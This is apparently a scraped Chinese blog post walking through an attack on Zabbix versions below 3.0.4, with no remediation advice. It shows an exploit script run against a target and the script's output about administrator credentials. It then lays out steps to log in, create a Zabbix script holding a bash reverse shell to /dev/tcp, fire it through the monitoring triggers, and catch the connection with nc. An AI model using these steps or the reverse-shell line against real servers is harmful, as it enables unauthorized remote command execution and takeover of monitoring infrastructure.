Zabbix sql注入漏洞指令碼執行反彈shell

標籤：pytho   分享圖片   one   zabbix   ubunt   http   exploit   登入   監測   

exp檢測是否存在SQL注入漏洞
[email protected]:~# python zabbix.py http://ip:9090/
+------------------------------------------------------------+
Python Zabbix<3.0.4 SQL注入 Exploit
success
+------------------------------------------------------------+
Zabbix 存在SQL注入漏洞!

管理員 使用者名稱密碼：None

管理員 Session_id：None
然後進行登入：管理——指令碼——建立指令碼寫入反彈shell、
bash -i >& /dev/tcp/xxx/1234 0>&1

 

監測——觸發器——主機

執行我們編寫的反彈shell指令碼

Nc監聽連接埠

 

Zabbix sql注入漏洞指令碼執行反彈shell